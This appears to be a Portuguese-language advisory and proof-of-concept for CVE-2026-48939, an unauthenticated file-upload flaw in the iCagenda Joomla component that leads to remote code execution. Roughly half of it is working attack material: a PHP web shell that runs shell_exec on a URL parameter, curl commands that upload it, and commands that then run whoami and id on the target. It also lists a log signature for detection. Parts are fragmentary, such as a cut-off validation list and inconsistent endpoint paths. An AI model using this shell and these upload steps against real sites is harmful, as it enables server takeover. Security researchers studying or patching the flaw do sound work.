
iCagenda Upload de arquivo não autenticado para RCE
| Campo | Valor |
|---|
| ID do CVE | CVE-2026-48939 |
| Pontuação CVSS 4.0 | 10.0 Crítico |
| Vetor CVSS | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H |
| CWE | CWE-284: Controle de Acesso Inadequado |
| Versões Afetadas | iCagenda 3.2.1 - 3.9.14 e 4.0.0 - 4.0.7 |
| Corrigido em | iCagenda 4.0.8 e 3.9.15 |
| Publicado em | 20 de Junho de 2026 |
O iCagenda, um popular componente de eventos e calendário para Joomla, contém uma vulnerabilidade de upload de arquivo não autenticado que permite que atacantes remotos façam upload e executem código PHP arbitrário em sites Joomla 6.
A vulnerabilidade existe no recurso de anexo de arquivo do formulário de submissão de eventos do frontend:
Falta de Controle de Acesso: O endpoint de submissão (index.php?option=com_icagenda&task=registration.submit) não impõe autenticação, contornando a configuração de acesso "Apenas Usuários Registrados".
Sem Validação de Arquivo: Os arquivos enviados são salvos com sua extensão original sem:
Escrita Direta de Arquivo: Os arquivos são escritos em /images/icagenda/frontend/attachments/[filename] diretamente sob a raiz da web.
Execução PHP: No Joomla 6, os arquivos .php enviados são executáveis, levando à Execução Remota de Código (RCE).
# Create PHP shell payload
cat > /tmp/shell.php << 'EOF'
<?php
echo "CVE-2026-48939 - SHELL ACTIVE\n";
if(isset($_GET['cmd'])) {
echo shell_exec($_GET['cmd'] . " 2>&1");
}
?>
EOF
# Upload the shell
curl -k -s \
-F "title=Test Event" \
-F "jform[attachment]=@/tmp/shell.php;type=application/x-php" \
"https://poloss-jomola.ddev.site/icagenda_submit.php"
# Execute commands via uploaded shell
curl -k "https://poloss-jomola.ddev.site/images/icagenda/frontend/attachments/[SHELL_FILENAME].php?cmd=whoami"
# Navigate to project directory
# Run PoC script
./CVE-2026-48939-PoC.sh https://poloss-jomola.ddev.site
Identificar endpoint vulnerável:
https://target.com/index.php?option=com_icagenda&task=submit
Fazer upload de web shell PHP:
curl -X POST -F "jform[attachment][email protected]" \
"https://target.com/index.php?option=com_icagenda&task=submit"
Executar shell:
curl "https://target.com/images/icagenda/frontend/attachments/shell_TIMESTAMP.php?cmd=id"
Com base em logs de exploração do mundo real, a assinatura de ataque é:
# Step 1: Upload
POST /index.php?option=com_icagenda&task=submit
User-Agent: icagenda-batch/1.0
Content-Disposition: form-data; name="jform[attachment]"; filename="shell.php"
# Step 2: Execute
GET /images/icagenda/frontend/attachments/shell.php?cmd=...
User-Agent: icagenda-batch/1.0
com_icagenda temporariamenteEste PoC é apenas para fins educacionais e de teste de segurança autorizados. O acesso não autorizado a sistemas de computador é ilegal.